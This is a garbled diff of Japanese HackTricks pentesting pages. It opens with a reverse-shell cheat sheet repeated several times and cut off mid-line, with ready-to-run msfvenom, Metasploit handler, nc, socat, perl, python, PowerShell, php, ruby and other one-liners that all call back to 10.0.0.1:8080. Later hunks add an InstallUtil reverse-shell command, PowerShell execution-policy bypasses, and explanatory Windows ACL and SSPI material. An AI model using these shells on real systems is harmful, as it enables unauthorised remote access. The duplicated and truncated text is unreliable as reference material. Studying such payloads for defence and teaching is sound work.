msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
|
||||
```
|
||||
|
||||
```msfconsole
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/shell_reverse_tcp
|
||||
set LHOST 10.0.0.1
|
||||
set LPORT 8080
|
||||
exploit
|
||||
```
|
||||
|
||||
```ncat
|
||||
ncat 10.0.0.1 8080 -e /bin/bash
|
||||
```
|
||||
|
||||
```socat
|
||||
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
```perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
```
|
||||
|
||||
```telnet
|
||||
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
|
||||
```
|
||||
|
||||
```awk
|
||||
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
|
||||
```
|
||||
|
||||
```lua
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
```
|
||||
|
||||
```php
|
||||
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
```
|
||||
|
||||
```nc
|
||||
nc -e /bin/sh 10.0.0.1 8080
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
```java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
```xterm
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
```msfvenom
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
|
||||
```
|
||||
|
||||
```msfconsole
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/shell_reverse_tcp
|
||||
set LHOST 10.0.0.1
|
||||
set LPORT 8080
|
||||
exploit
|
||||
```
|
||||
|
||||
```ncat
|
||||
ncat 10.0.0.1 8080 -e /bin/bash
|
||||
```
|
||||
|
||||
```socat
|
||||
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
```perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
```
|
||||
|
||||
```telnet
|
||||
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
|
||||
```
|
||||
|
||||
```awk
|
||||
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
|
||||
```
|
||||
|
||||
```lua
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
```
|
||||
|
||||
```php
|
||||
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
```
|
||||
|
||||
```nc
|
||||
nc -e /bin/sh 10.0.0.1 8080
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
```java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
```xterm
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
```msfvenom
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
|
||||
```
|
||||
|
||||
```msfconsole
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/shell_reverse_tcp
|
||||
set LHOST 10.0.0.1
|
||||
set LPORT 8080
|
||||
exploit
|
||||
```
|
||||
|
||||
```ncat
|
||||
ncat 10.0.0.1 8080 -e /bin/bash
|
||||
```
|
||||
|
||||
```socat
|
||||
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
```perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotoby
|
||||
リバースシェルは、ターゲットマシンが攻撃者のマシンに接続を開始するタイプのシェルです。これにより、攻撃者はターゲットマシンにリモートアクセスしてコマンドを実行することができます。リバースシェルは、侵害されたシステムへの持続的なアクセスを維持するために、しばしばポストエクスプロイテーションのシナリオで使用されます。
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
|
@ -472,7 +207,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
|||
|
||||
## PS実行ポリシー
|
||||
|
||||
デフォルトでは、**制限**が設定されています。このポリシーをバイパスする主な方法は次のとおりです:
|
||||
デフォルトでは**restricted**に設定されています。このポリシーをバイパスする主な方法は次のとおりです:
|
||||
```powershell
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
|
@ -496,7 +231,7 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
|
|||
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
ユーザーの認証に使用できるAPIです。
|
||||
ユーザーの認証に使用されるAPIです。
|
||||
|
||||
SSPIは、通信を行いたい2つのマシンに適切なプロトコルを見つける役割を担います。これには、Kerberosが最も一般的に使用されます。その後、SSPIはどの認証プロトコルを使用するかを交渉し、これらの認証プロトコルはセキュリティサポートプロバイダ(SSP)と呼ばれ、各Windowsマシン内のDLLとして存在し、通信するためには両方のマシンで同じサポートが必要です。
|
||||
|
||||
|
@ -525,10 +260,10 @@ SSPIは、通信を行いたい2つのマシンに適切なプロトコルを見
|
|||
|
||||
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -539,10 +274,10 @@ SSPIは、通信を行いたい2つのマシンに適切なプロトコルを見
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# ACLs - DACLs/SACLs/ACEs
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
|
@ -33,17 +33,17 @@ ACLは、オブジェクトとそのプロパティに適用される保護を
|
|||
|
||||
### **自由裁量アクセス制御リスト(DACL)**
|
||||
|
||||
DACL(ACLとも呼ばれることが多い)は、オブジェクトに割り当てられたアクセス許可を識別するユーザーとグループを識別します。セキュアオブジェクトに対してアクセス権限を持つペアのACE(アカウント+アクセス権限)のリストを含みます。
|
||||
DACL(ACLとも呼ばれることが多い)は、オブジェクトに割り当てられたアクセス許可を識別するユーザーとグループを特定します。それは、セキュアオブジェクトに対してペアのACE(アカウント+アクセス権)のリストを含んでいます。
|
||||
|
||||
### **システムアクセス制御リスト(SACL)**
|
||||
|
||||
SACLを使用すると、セキュリティの保護されたオブジェクトへのアクセスを監視できます。SACL内のACEは、セキュリティイベントログに記録されるアクセスの種類を決定します。モニタリングツールを使用すると、悪意のあるユーザーが保護されたオブジェクトにアクセスしようとすると、適切な人に警告を発することができます。また、インシデントのシナリオでは、ログを使用して過去の手順を追跡することができます。最後に、トラブルシューティングのためにアクセスの問題をログに記録することもできます。
|
||||
SACLを使用すると、セキュリティの保護されたオブジェクトへのアクセスを監視できます。SACLのACEは、セキュリティイベントログに記録されるアクセスの種類を決定します。モニタリングツールを使用すると、悪意のあるユーザーがセキュリティの保護されたオブジェクトにアクセスしようとすると、適切な人々に警告を発することができます。また、インシデントのシナリオでは、ログを使用して過去の手順を追跡することができます。そして最後に、トラブルシューティングのためにアクセスの問題をログに記録することもできます。
|
||||
|
||||
## システムがACLを使用する方法
|
||||
|
||||
システムに**ログインしたユーザーは、そのログオンセッションのセキュリティ情報を持つアクセストークンを保持**しています。ユーザーがログオンすると、システムはアクセストークンを作成します。ユーザーの代わりに実行される**すべてのプロセスには、アクセストークンのコピー**があります。トークンには、ユーザー、ユーザーのグループ、およびユーザーの特権を識別するログオンSID(セキュリティ識別子)も含まれています。
|
||||
システムに**ログインしている各ユーザーは、そのログオンセッションのセキュリティ情報を持つアクセストークンを保持**しています。ユーザーがログオンすると、システムはアクセストークンを作成します。ユーザーの代わりに実行される**すべてのプロセスにはアクセストークンのコピーがあります**。トークンはユーザー、ユーザーのグループ、およびユーザーの特権を識別します。トークンには、現在のログオンセッションを識別するログオンSID(セキュリティ識別子)も含まれています。
|
||||
|
||||
スレッドがセキュリティオブジェクトにアクセスしようとすると、LSASS(ローカルセキュリティ機関)がアクセスを許可または拒否します。これを行うために、LSASSはスレッドに適用されるACEを探すために、SDSデータストリーム内のDACL(自由裁量アクセス制御リスト)を検索します。
|
||||
スレッドがセキュリティの保護されたオブジェクトにアクセスしようとすると、LSASS(ローカルセキュリティ機関)はアクセスを許可または拒否します。これを行うために、LSASSはスレッドに適用されるACEを探すためにSDSデータストリーム内のDACL(自由裁量アクセス制御リスト)を検索します。
|
||||
|
||||
オブジェクトのDACLの各ACEは、セキュリティプリンシパルまたはログオンセッションに対して許可または拒否されるアクセス権を指定します。オブジェクトの所有者がそのオブジェクトのDACLにACEを作成していない場合、システムはすぐにアクセスを許可します。
|
||||
|
||||
|
@ -53,20 +53,20 @@ LSASSがACEを見つけた場合、各ACEの委任SIDをスレッドのアクセ
|
|||
|
||||
ADのすべてのセキュリティオブジェクトに適用できる**3つの主要なACEのタイプ**があります。
|
||||
|
||||
| **ACE** | **説明** |
|
||||
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **`アクセス拒否ACE`** | ユーザーまたはグループがオブジェクトに対して明示的にアクセスが拒否されていることを示すために、DACL内で使用されます。 |
|
||||
| **`アクセス許可ACE`** | ユーザーまたはグループがオブジェクトに対して明示的にアクセスが許可されていることを示すために、DACL内で使用されます。 |
|
||||
| **`システム監査ACE`** | ユーザーまたはグループがオブジェクトにアクセスしようとすると、SACL内のACEが監査ログを生成します。アクセスが許可されたかどうか、およびどの種類のアクセスが行
|
||||
| **ACE** | **説明** |
|
||||
| ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **`アクセス拒否ACE`** | ユーザーまたはグループがオブジェクトへのアクセスが明示的に拒否されていることを示すためにDACL内で使用されます |
|
||||
| **`アクセス許可ACE`** | ユーザーまたはグループがオブジェクトへのアクセスが明示的に許可されていることを示すためにDACL内で使用されます |
|
||||
| **`システム監査ACE`** | ユーザーまたはグループがオブジェクトにアクセスしようとすると、SACL内のACEが監査ログを生成します。アクセスが許可されたか
|
||||
### ACEの順序
|
||||
|
||||
要求されたアクセスが明示的に許可または拒否されると、システムはACEのチェックを停止しますので、DACL内のACEの順序は重要です。
|
||||
要求されたアクセスが明示的に許可または拒否された場合、システムはACEのチェックを停止しますので、DACL内のACEの順序は重要です。
|
||||
|
||||
DACL内のACEの優先順位は「正準」順序と呼ばれます。Windows 2000およびWindows Server 2003では、正準順序は次のとおりです。
|
||||
|
||||
1. すべての「明示的」ACEは、任意の「継承」ACEの前にグループ内に配置されます。
|
||||
2. 「明示的」ACEのグループ内では、「アクセス拒否」ACEは「アクセス許可」ACEの前に配置されます。
|
||||
3. 「継承」グループ内では、子オブジェクトの親から継承されたACEが最初に配置され、その後、祖父から継承されたACEなど、オブジェクトツリーを上に向かって継承されたACEが配置されます。その後、アクセス拒否ACEはアクセス許可ACEの前に配置されます。
|
||||
3. 「継承」グループ内では、子オブジェクトの親から継承されたACEが最初に配置され、その後、祖父から継承されたACEなど、オブジェクトツリーを上に向かって継承されたACEが配置されます。その後、「アクセス拒否」ACEは「アクセス許可」ACEの前に配置されます。
|
||||
|
||||
以下の図は、ACEの正準順序を示しています。
|
||||
|
||||
|
@ -76,26 +76,24 @@ DACL内のACEの優先順位は「正準」順序と呼ばれます。Windows 20
|
|||
|
||||
正準順序により、次のことが実現されます。
|
||||
|
||||
* 明示的な「アクセス拒否ACE」は、明示的な「アクセス許可ACE」に関係なく強制されます。つまり、オブジェクトの所有者は、ユーザーグループへのアクセスを許可し、そのグループの一部にアクセスを拒否する権限を定義できます。
|
||||
* すべての「明示的ACE」は、継承されたACEの前に処理されます。これは、任意のアクセス制御の概念と一致しています。子オブジェクト(たとえばファイル)へのアクセスは、親オブジェクト(たとえばフォルダ)の所有者ではなく、子オブジェクトの所有者の裁量によるものです。子オブジェクトの所有者は、直接子オブジェクトに対してアクセス権を定義できます。その結果、継承されたアクセス許可の効果が変更されます。
|
||||
* 明示的な「アクセス拒否」ACEは、明示的な「アクセス許可」ACEに関係なく強制されます。つまり、オブジェクトの所有者は、ユーザーグループへのアクセスを許可し、そのグループの一部にアクセスを拒否する権限を定義できます。
|
||||
* すべての明示的なACEは、継承されたACEの前に処理されます。これは、任意のアクセス制御の概念と一致しています。子オブジェクト(たとえばファイル)へのアクセスは、親オブジェクト(たとえばフォルダ)の所有者ではなく、子オブジェクトの所有者の裁量によるものです。子オブジェクトの所有者は、直接子オブジェクトに対してアクセス権を定義できます。その結果、継承されたアクセス許可の効果が変更されます。
|
||||
|
||||
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### GUIの例
|
||||
|
||||
これは、ACL、DACL、およびACEを表示するフォルダのクラシックなセキュリティタブです:
|
||||
これは、ACL、DACL、およびACEを表示するフォルダのクラシックなセキュリティタブです。
|
||||
|
||||
![](../../.gitbook/assets/classicsectab.jpg)
|
||||
|
||||
「詳細」ボタンをクリックすると、継承などの追加オプションが表示されます:
|
||||
「詳細」ボタンをクリックすると、継承などの追加オプションが表示されます。
|
||||
|
||||
![](../../.gitbook/assets/aceinheritance.jpg)
|
||||
|
||||
|
@ -103,7 +101,7 @@ DACL内のACEの優先順位は「正準」順序と呼ばれます。Windows 20
|
|||
|
||||
![](../../.gitbook/assets/editseprincipalpointers1.jpg)
|
||||
|
||||
最後に、監査タブのSACLがあります:
|
||||
最後に、監査タブのSACLがあります。
|
||||
|
||||
![](../../.gitbook/assets/audit-tab.jpg)
|
||||
|
||||
|
@ -111,7 +109,7 @@ DACL内のACEの優先順位は「正準」順序と呼ばれます。Windows 20
|
|||
|
||||
この例では、アクセス許可されたグループは「Everyone」であり、アクセス拒否されたグループは「Marketing」であり、それは「Everyone」の一部です。
|
||||
|
||||
「Cost」フォルダへのMarketingグループのアクセスを拒否したい場合、CostフォルダのACEが正準順序であれば、Marketingを拒否するACEはEveryoneを許可するACEの前に配置されます。
|
||||
「Cost」フォルダへのMarketingグループのアクセスを拒否したい場合、CostフォルダのACEが正準順序になっている場合、Marketingを拒否するACEはEveryoneを許可するACEの前に配置されます。
|
||||
|
||||
アクセスチェック中、オペレーティングシステムはオブジェクトのDACLに表示される順序でACEを処理するため、許可するACEの前に拒否するACEが処理されます。その結果、Marketingグループのメンバーはアクセスが拒否されます。他のユーザーはオブジェクトにアクセスが許可されます。
|
||||
|
||||
|
@ -119,9 +117,9 @@ DACL内のACEの優先順位は「正準」順序と呼ばれます。Windows 20
|
|||
|
||||
この例では、CostフォルダにはMarketing(親オブジェクト)へのアクセスを拒否する継承可能なACEがあります。つまり、Marketingグループのメンバー(または子)であるすべてのユーザーは、継承によってアクセスが拒否されます。
|
||||
|
||||
マーケティングディレクターであるBobにアクセスを許可したい場合、BobはMarketingグループのメンバーとして、継承によってCostフォルダへのアクセスが拒否されます。子オブジェクト(ユーザーBob)の所有者は、Costフォルダへのアクセスを許可する明示的なACEを定義します。子オブジェクトのACEが正準順序であれば、Bobにアクセスを許可する明示的なACEは、Marketingグループへのアクセスを拒否する継承されたACEを含む、継承されたACEの前に配置されます。
|
||||
マーケティングディレクターであるBobにアクセスを許可したい場合、BobはMarketingグループのメンバーとして、継承によってCostフォルダへのアクセスが拒否されます。子オブジェクト(ユーザーBob)の所有者は、Costフォルダへのアクセスを許可する明示的なACEを定義します。子オブジェクトのACEが正準順序になっている場合、Bobへのアクセスを許可する明示的なACEは、Marketingグループへのアクセスを拒否する継承されたACEを含む継承されたACEよりも前に配置されます。
|
||||
|
||||
アクセスチェック中、オペレーティングシステムはMarketingグループへのアクセスを拒否するACEに到達する前に、Bobにアクセスを許可するACEに到達します。その結果、BobはMarketingグループのメンバーであるにもかかわらず、オブジェクトにアクセスが許可されます。他のMarketingグループのメンバーはアクセスが拒否されます。
|
||||
アクセスチェック中、オペレーティングシステムはMarketingグループへのアクセスを拒否するACEに到達する前に、Bobへのアクセスを許可するACEに到達します。その結果、BobはMarketingグループのメンバーであるにもかかわらず、オブジェクトにアクセスが許可されます。他のMarketingグループのメンバーはアクセスが拒否されます。
|
||||
|
||||
### アクセス制御エントリ
|
||||
|
||||
|
@ -141,7 +139,7 @@ ACEは基本的に同じです。それらを区別するのは、継承とオ
|
|||
|
||||
ジェネリックACEは、継承される子オブジェクトの種類を制御するための制限された制御を提供します。基本的に、コンテナと非コンテナの区別しかできません。
|
||||
|
||||
たとえば、NTFSのFolderオブジェクトのDACLには、フォルダの内容をリストするためのジェネリックACEが含まれる場合があります。フォルダの内容をリストすることは、コンテナオブジェクトでのみ実行できる操作ですので、操作を許可するACEはCONTAINER\_INHERIT\_ACEとしてフラグ付けされます。フォルダ内のコンテナオブジェクト(
|
||||
たとえば、NTFSのFolderオブジェクトのDACLには、フォルダの内容をリストするためのジェネリックACEが含まれる場合があります。フォルダの内容をリストすることは、コンテナオブジェクトでのみ実行できる操作ですので、操作を許可するACEはCONTAINER\_INHERIT\_ACEとしてフラグ付けされます。フォルダ内の
|
||||
### アクセス制御エントリのレイアウト
|
||||
|
||||
| ACEフィールド | 説明 |
|
||||
|
@ -154,16 +152,16 @@ ACEは基本的に同じです。それらを区別するのは、継承とオ
|
|||
|
||||
### アクセスマスクのレイアウト
|
||||
|
||||
| ビット(範囲) | 意味 | 説明/例 |
|
||||
| -------------- | ---------------------------------- | ------------------------------------------- |
|
||||
| 0 - 15 | オブジェクト固有のアクセス権 | データの読み取り、実行、データの追加 |
|
||||
| 16 - 22 | 標準アクセス権 | 削除、ACLの書き込み、所有者の書き込み |
|
||||
| 23 | セキュリティACLにアクセスできる | |
|
||||
| 24 - 27 | 予約済み | |
|
||||
| 28 | 汎用ALL(読み取り、書き込み、実行) | 以下のすべて |
|
||||
| ビット(範囲) | 意味 | 説明/例 |
|
||||
| -------------- | ---------------------------------- | ----------------------------------------- |
|
||||
| 0 - 15 | オブジェクト固有のアクセス権 | データの読み取り、実行、データの追加 |
|
||||
| 16 - 22 | 標準アクセス権 | 削除、ACLの書き込み、所有者の書き込み |
|
||||
| 23 | セキュリティACLにアクセスできる | |
|
||||
| 24 - 27 | 予約済み | |
|
||||
